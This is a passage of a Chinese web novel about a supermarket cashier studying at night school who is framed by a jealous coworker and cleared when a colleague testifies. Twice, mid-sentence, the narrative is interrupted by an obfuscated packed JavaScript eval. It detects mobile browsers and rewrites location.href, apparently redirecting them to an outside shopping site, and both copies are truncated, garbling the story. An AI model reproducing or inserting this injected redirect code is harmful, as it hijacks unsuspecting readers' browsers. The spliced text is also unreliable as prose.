晚星走后没多久,超市迎来了周末客流高峰。李娟趁着大家都在忙碌,眼神飞快地扫过四周,见没人注意到这边,便装作整理货物的样子,悄悄走到晚星的工位旁。她盯着货架旁那堆待扫码的促销零件(超市近期推出的五金小零件促销,需单独扫码统计销量),嘴角勾起一抹算计的笑,快速伸手将大半袋零件挪到了自己工位后方的角落,又用纸箱轻轻盖住,动作麻利,全程不过两分钟。 “李娟,你在那儿磨蹭什么?这边顾客都排起队了!”刘组长的声音传来,李娟立刻收敛神色,快步回到自己的收银台,若无其事地开始工作,心里却暗自得意——她就是要让晚星尝尝苦头,让大家都知道,晚星只顾着学习,根本配不上这份工作。 下午两点,晚星从夜校回来,匆匆赶回超市销假。刚走到自己的工位,就被小张拉到一旁,语气急切:“晚星,不好了!你工位上的促销零件少了一大半,刚才刘组长查岗统计产量,发现你负责的零件销量连预期的一半都不到,正生气呢!” 晚星心里一沉,连忙走到货架旁查看——原本堆放整齐的零件果然只剩一小袋,数量明显不对。“不可能啊,我早上走的时候特意清点过,数量是够的,怎么会少这么多?”她语气急切,伸手翻找四周,却一无所获。 “怎么回事?晚星,你给我解释一下!”刘组长脸色阴沉地走过来,手里拿着产量报表,重重地拍在收银台上,“这个批次的零件促销,你负责的区域销量差这么多,账目和实物对不上,你说怎么办?” “组长,我早上走的时候清点过,零件数量是齐全的,我还跟小张确认过。”晚星急忙辩解,语气带着几分慌乱,“我请假这几个小时,会不会是有人动过我的工位?” “动过你的工位?谁会没事动你的零件?”李娟立刻凑了过来,语气尖酸,“整个上午大家都忙着收银,谁有空碰你的东西?我看啊,是你心思根本不在工作上,满脑子都是夜校和自考,早上清点的时候就马马虎虎,漏记了数量,现在还想找借口推脱责任。” “我没有!”晚星猛地抬头,看向李娟,眼神坚定,“我早上明明清点得很仔细,绝对不会漏记。而且我走的时候,零件就放在货架旁显眼的位置,怎么会凭空消失?” “凭空消失?这话谁信啊!”李娟冷笑一声,故意提高音量,让周围的同事都能听到,“大家都看看,晚星现在眼里只有学习,工作上敷衍了事,产量不达标还狡辩,这不是耽误咱们整个超市的流水线进度吗?要是每个人都像她这样,咱们超市还怎么运营?” 周围的同事纷纷看了过来,有人面露同情,有人窃窃私语,还有人附和着李娟的话,觉得晚星最近确实把太多精力放在了学习上。小张想帮晚星说话,却被李娟一个眼神制止,只能着急地站在一旁,手足无措。 晚星看着李娟得意的嘴脸,心里忽然闪过一个念头——难道是李娟动了手脚?可她没有证据,根本无法反驳。“组长,我真的没有敷衍工作,那些零件肯定是被人挪动了,您相信我。”晚星的声音带着几分恳求,她知道,一旦被认定为工作失职,不仅会被严厉批评,还有可能被记过处分,甚至影响工资。 刘组长的脸色愈发难看,他盯着晚星,语气严厉:“我只看证据。现在实物和账目对不上,产量严重不达标,这是事实。你说零件被人挪动,可有谁能证明?李娟说你心思不在工作上,这倒是有目共睹——你每天上班偷偷背知识点,下班就赶去夜校,工作状态时好时坏,这次出了问题,你让我怎么相信你?” 晚星语塞,喉咙像是被什么堵住了。她确实每天利用工作间隙背书,这是大家都知道的事,可她从未耽误过工作。如今没有证据证明零件被挪动,所有的辩解都显得苍白无力。委屈与愤怒涌上心头,她紧紧攥着拳头,指甲几乎嵌进掌心,却只能死死咬着嘴唇,说不出话来。 “组长,我看这事不能就这么算了。”李娟见晚星无言以对,继续煽风点火,“这次是零件销量不达标,下次说不定就会出更大的差错。咱们超市有规定,工作失职影响进度的,应该记过处分,这样才能以儆效尤,让大家都重视工作。” “是啊,刘组长,得给个说法,不然以后大家都学样,工作就没法干了。”几个和李娟关系好的同事也跟着附和,一时间,所有的压力都集中到了晚星身上。 晚星抬起头,看向刘组长,眼神里满是不甘:“组长,我请求您再给我一点时间,我一定把零件找出来,证明我的清白。如果最后找不到,我愿意承担所有责任。”她的声音带着一丝颤抖,却依旧透着一股不肯认输的韧劲。 刘组长沉默了片刻,看着晚星泛红的眼眶和坚定的眼神,心里也有些犹豫。他知道晚星平时工作很踏实,只是最近确实因为学习分散了不少精力。若是直接记过处分,未免太过苛刻;可若是就此放过,又没法服众,也没法弥补产量缺口。 “行,我就给你一天时间。”刘组长最终松了口,语气依旧严肃,“明天这个时候,你必须把消失的零件找出来,或者给出合理的解释,补上产量缺口。要是做不到,就按超市规定,记过处分,扣除当月奖金。” “谢谢组长!”晚星连忙道谢,悬着的心稍稍放下,可随之而来的是更大的焦虑——她只有一天时间,没有任何线索,该去哪里找那些零件? 李娟见状,脸色有些难看,却也不敢再多说什么,只是狠狠瞪了晚星一眼,转身回到自己的工位,心里暗自盘算:她把零件藏得那么隐蔽,晚星根本不可能找到,这次看她怎么收场。 下午的工作,晚星做得心不在焉。她一边收银,一边偷偷观察李娟的动静,又趁着客流间隙,在自己工位附近、超市仓库角落反复翻找,可始终没有找到那些消失的零件。同事们看她的眼神都带着异样,有人同情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233606|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人嘲讽,让她浑身不自在。 好不容易熬到下班,晚星没有立刻去夜校(她特意跟陈老师请假,说有急事),而是独自留在超市,继续寻找零件。小张陪着她,语气担忧:“晚星,你别着急,会不会是被保洁阿姨当成废品收走了?我帮你去问问保洁阿姨。” 晚星摇了摇头:“不会的,保洁阿姨清理垃圾都会先询问我们。我觉得,肯定是李娟干的,只有她一直看我不顺眼,还故意在组长面前煽风点火。可我没有证据,就算知道是她,也没办法。”说到这里,她的声音里满是委屈与无力。 “这个李娟也太过分了!”小张气得咬牙,“不行,我帮你跟刘组长解释,就说我相信你,肯定是李娟动了手脚!” “没用的,没有证据,组长不会相信的。”晚星叹了口气,眼神黯淡下来,“而且李娟肯定早就想好了说辞,咱们这样贸然指控,只会让事情更糟。”她知道,李娟既然敢动手,就一定做好了万全的准备,想要找出证据,难如登天。 两人在超市里找了将近一个小时,依旧一无所获。晚星拖着疲惫的身躯走出超市,天色已经漆黑,晚风带着寒意,吹得她浑身发冷。她沿着路边慢慢走,心里满是焦虑与迷茫——如果明天找不到零件,不仅会被记过处分,扣除奖金,还会让刘组长和同事们对她彻底失望,甚至可能影响她这份赖以生存的工作。 就在这时,手机响了,是张琪打来的。“晚星,你怎么还没回来?是不是出什么事了?”张琪的声音里满是担忧。 晚星接通电话,听到张琪熟悉的声音,所有的委屈瞬间爆发,声音哽咽地把白天发生的事情一五一十地告诉了她。“张琪,我该怎么办?我找不到零件,明天要是找不到,我就会被记过,还会扣奖金……” 电话那头的张琪气得浑身发抖:“这个李娟也太恶毒了!竟然故意给你使绊子!你别着急,我现在就过去找你,咱们一起想办法。对了,超市里有没有监控?监控说不定能拍到她动零件的画面!” “监控?”晚星心里一动,眼里重新燃起一丝希望,“我忘了超市货架区域装了监控!只要能调到监控,就能证明我的清白了!”她刚才只顾着翻找零件,竟然忘了这么重要的事情。 “对!监控就是最好的证据!”张琪的声音也透着兴奋,“你先别慌,我马上过来,咱们明天一早就去跟刘组长申请调监控,一定能揭穿李娟的真面目!” 晚星挂了电话,站在路灯下,心里的焦虑渐渐消散,取而代之的是坚定。她知道,监控是她唯一的希望,无论如何,她都要调到监控,证明自己的清白,不能让李娟的阴谋得逞。 没多久,张琪赶了过来,紧紧握住晚星的手:“别担心,有我陪着你。明天咱们一起去超市,就算李娟再狡辩,监控也不会说谎。” 晚星点了点头,眼里满是感激:“谢谢你,张琪。要是没有你,我真的不知道该怎么办。” 两人并肩走在夜色中,晚风依旧寒冷,可晚星的心里却透着一股暖意。她知道,明天将会是一场硬仗,能否调到监控,能否揭穿李娟的阴谋,能否洗清自己的冤屈,都还是未知数。但她不再害怕,因为她有张琪的陪伴,有证明自己清白的决心。 回到出租屋,晚星没有像往常一样学习,却也毫无睡意。她躺在床上,脑海里反复回想白天的事情,李娟得意的嘴脸、刘组长严厉的批评、同事们异样的目光,一一在眼前浮现。她攥紧拳头,在心里暗暗发誓:明天,她一定要找出证据,让李娟为自己的所作所为付出代价,绝不能让这份工作和自己的努力,毁在别人的恶意算计里。 夜色渐深,出租屋恢复了安静。晚星渐渐平静下来,眼神里满是坚定。她知道,这场危机不仅是对她的考验,也是她反击的机会。只要能顺利调到监控,洗清冤屈,她就能重新赢得大家的信任,继续在工作与学习的道路上稳步前行。而李娟的恶意,也终将被揭穿,无处遁形。 38. 第 38 章 天刚蒙蒙亮,晚星就醒了。一夜浅眠,梦里全是监控画面和李娟的嘴脸,她揉了揉发胀的太阳穴,起身洗漱时,眼底还带着未散尽的疲惫。张琪比她起得更早,正热着馒头,见她出来,立刻递过一杯温水:“别紧张,今天咱们先找刘组长调监控,实在不行,我再陪你跟李娟对峙。” 晚星点点头,咬了口馒头,心里却七上八下。她既盼着监控能拍下真相,又怕出现意外——超市的监控设备有些老旧,万一货架区域的摄像头刚好坏了,她就真的百口莫辩了。两人匆匆吃完早饭,便赶往超市,比平时上班早到了整整一个小时。 刘组长刚到超市,就被晚星和张琪拦住了。“组长,我想申请调一下昨天上午货架区域的监控。”晚星语气急切,眼神里满是恳求,“我怀疑昨天的零件是被人故意挪动的,监控应该能拍到。” 刘组长皱了皱眉,沉吟片刻:“行,我带你们去保安室调监控。但丑话说在前头,要是监控里没什么异常,你就得按之前说的,承担所有责任。”他虽有几分相信晚星的为人,可规矩在前,也不能偏私。 三人一同来到保安室,保安调出昨天上午的监控画面。可画面刚播放到上午十点多,也就是晚星离开后没多久,货架区域的摄像头就出现了雪花点,随后彻底黑屏——那片区域的监控刚好故障了。“怎么会这样?”晚星的心瞬间沉到谷底,声音都有些发颤,“昨天还好好的,怎么偏偏这个时候坏了?” 保安叹了口气:“这摄像头都用好几年了,经常出毛病,我昨天下午才报修,还没来得及修。”张琪气得攥紧拳头,忍不住说道:“这也太巧了!肯定是李娟早就知道监控有问题,才敢动手脚!” 刘组长的脸色也沉了下来,他看向晚星,语气带着几分无奈:“晚星,监控坏了,没有证据,我也不好判断。还有不到十个小时,你要是再找不到零件,就只能按规定处理了。” 晚星失魂落魄地走出保安室,心里的希望彻底破灭。张琪紧紧陪着她,低声安慰:“别灰心,监控坏了不代表没办法。我今天请假,在超市盯着李娟,她肯定会露出马脚的。” “可是你还有工作……”晚星愧疚地说。张琪摇摇头:“工作哪有你的事重要!放心,我跟我们组长请假了,就说家里有急事。今天我一定帮你抓住证据。”看着张琪坚定的眼神,晚星心里满是感激,眼眶微微泛红。 上午九点,超市开门营业。李娟看到晚星无精打采的样子,嘴角勾起一抹不易察觉的笑,故意凑过来调侃:“晚星,零件找到了吗?我看你这状态,怕是没戏了吧?要不早点主动认错,组长还能从轻处理你。” 晚星没理她,转身回到自己的工位,却悄悄用余光留意着李娟的动静。张琪则装作顾客,在超市里来回走动,目光始终锁定在李娟身上。她知道,李娟藏了那么多零件,肯定要找机会处理,要么偷偷放回货架,要么趁没人的时候带出超市。 上午客流渐多,李娟忙着收银,暂时没什么动作。张琪找了个靠近收银台的货架,假装挑选商品,眼睛却一刻也没离开李娟。旁边工位的老工友王婶看出了端倪,悄悄走到张琪身边,低声问:“小姑娘,你是不是在盯着李娟?我昨天就觉得她不对劲,晚星走后,我看见她鬼鬼祟祟地在晚星工位旁晃悠。” 张琪心里一动,连忙问道:“王婶,您真的看见了?您还看到她做别的了吗?”王婶点点头,叹了口气:“我年纪大了,眼睛虽花,但看得清楚。她昨天上午趁大家忙,把晚星的零件往自己工位后面藏,还用纸箱盖着。我当时以为她是帮晚星整理,就没多想,后来看到晚星被组长批评,才觉得不对劲。” “太好了!王婶,您愿意为晚星作证吗?”张琪兴奋地说。王婶犹豫了一下,随即点头:“愿意。李娟这孩子心眼太小,见不得别人好,晚星踏实肯干,不能被她冤枉了。” 中午十二点,客流稍减。李娟见大家都在吃饭休息,又没人注意她,便悄悄走到自己工位后方,掀开盖着零件的纸箱,想把一部分零件偷偷放回晚星的工位旁——她怕事情闹大,想先放回去一部分,假装是自己不小心弄混了,既不会暴露,又能让晚星“找到”零件,敷衍过关。 就在她弯腰搬零件的时候,张琪立刻快步走过去,大喊道:“李娟,你在干什么!”李娟吓了一跳,手里的零件掉在地上,脸色瞬间变得惨白。“我……我没干什么,就是帮晚星整理零件。”她慌乱地辩解,眼神躲闪,不敢直视张琪。 刘组长和晚星听到声音,连忙跑了过来。看到地上散落的零件,又看了看李娟慌乱的样子,刘组长的脸色瞬间沉了下来:“李娟,这是怎么回事?这些零件是不是昨天晚星丢失的那些?” “不是……不是的,这是我自己的零件,跟晚星没关系。”李娟的声音都在发抖,却还在强装镇定。这时,王婶也走了过来,语气坚定地说:“刘组长,您别听她狡辩。昨天上午晚星走后,我亲眼看到她把晚星的零件藏到这里,还用纸箱盖着,就是想故意为难晚星。” “王婶,你别胡说八道!你什么时候看到了?”李娟急了,大声反驳,“你分明是跟晚星关系好,故意污蔑我!” “我没有污蔑你。”王婶冷笑一声,说出了细节,“昨天上午十点十五分左右,你趁着刘组长喊你收银之前,花了两分钟把零件搬过来,还特意把纸箱压得低了些,怕被人发现。当时货架旁还有一个蓝色的购物袋,是你从自己包里拿出来的,放在零件旁边,这些我都看得清清楚楚。” 王婶的话条理清晰,细节满满,李娟瞬间语塞,再也说不出反驳的话。她低下头,双手紧紧攥着衣角,脸色从惨白变成通红,又从通红变成铁青。周围的同事也围了过来,看着地上的零件,再看看李娟的样子,瞬间明白了怎么回事,纷纷议论起来。 “原来真的是李娟干的,太过分了!”“就因为晚星上夜校,就故意给人家使绊子,心眼也太小了。”“之前还在组长面前煽风点火,真是知人知面不知心。”议论声像针一样扎在李娟身上,她恨不得找个地缝钻进去。 刘组长气得脸色铁青,厉声呵斥:“李娟,你太让我失望了!晚星平时工作踏实认真,你不仅故意为难她,还在我面前撒谎煽风点火,耽误超市工作,你说你该怎么解释?” 李娟的肩膀不停颤抖,眼泪不受控制地掉了下来,声音哽咽地说:“我……我就是看不惯晚星。大家都忙着工作,她却整天想着上夜校、考自考,还得到您的认可,我心里不服气……我就是想让她尝尝被批评的滋味,没有别的意思。” “不服气就可以故意使绊子,就可以颠倒黑白吗?”刘组长语气更严厉了,“工作归工作,个人情绪归个人情绪,你把私人恩怨带到工作中,影响超市进度,还冤枉同事,这是严重违反工作纪律的!” 他顿了顿,做出决定:“从今天开始,罚你连续一周加班两小时,把丢失零件的产量补上,扣除你当月奖金,还要在全体员工面前做检讨。如果再敢有下次,直接开除!” 李娟不敢反驳,只能低着头,小声说:“我知道了,我愿意接受处罚。”说完,她蹲下身,默默捡起地上的零件,狼狈地回到自己的工位,承受着同事们异样的目光。 刘组长转过身,看向晚星,语气里满是愧疚:“晚星,对不起,是我没查清事情真相,就对你严厉批评,让你受委屈了。这件事是我处理不当,我向你道歉。” 晚星愣了一下,随即摇摇头,心里的委屈瞬间烟消云散:“没关系,组长,谢谢您愿意相信我,也谢谢您查清真相。”她看着刘组长诚恳的眼神,又看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下班后,晚星和张琪一起走出超市。夕阳的余晖洒在身上,温暖而惬意。张琪笑着说:“这下好了,终于没事了。以后你就可以安心上夜校,不用担心李娟给你使绊子了。” 晚星点点头,却语气郑重地说:“这件事也给我提了个醒,职场立足太不容易了。以后我不仅要把工作做好,还要多加小心,学会保护自己,不能再轻易相信别人,也不能让别人抓住把柄。”经历了这场危机,她变得更加成熟,也更加清醒。 “你说得对。”张琪赞同地点头,“不过你也别太担心,有我和王婶在,都会帮你的。咱们一起努力,你考上自考,我也跟着你去上夜校,咱们一起变好。” 晚星笑了,眼里闪烁着坚定的光芒。她知道,这场危机让她失去了一些东西,比如对他人的轻易信任,却也让她收获了更多——张琪的不离不弃、王婶的善意援手、刘组长的公正道歉,还有自己内心的成长。这些温暖的支撑,会成为她前进路上最坚实的力量。 回到出租屋,晚星没有立刻刷题,而是先给陈老师发了条微信,告诉她事情已经解决,明天会按时去上夜校。陈老师很快回复了她,附带一句鼓励:“别怕困难,善良与坚持,终会照亮前路。” 晚星看着这句话,心里满是笃定。她拿出陈老师给的笔记,翻开认真研读。灯光下,她的身影沉稳而坚定。职场的风波虽已平息,但她的追梦之路还在继续。她会带着这次的经历,更加谨慎地走好每一步,兼顾好工作与学习,用努力和坚持,为自己闯出一片天。 夜色渐深,出租屋安静而温暖。晚星沉浸在知识的海洋里,之前的焦虑与委屈早已烟消云散。她知道,未来或许还会遇到更多困难,但只要身边有善意相伴,内心有坚定支撑,她就有勇气迎难而上,披荆斩棘,抵达梦想的彼岸。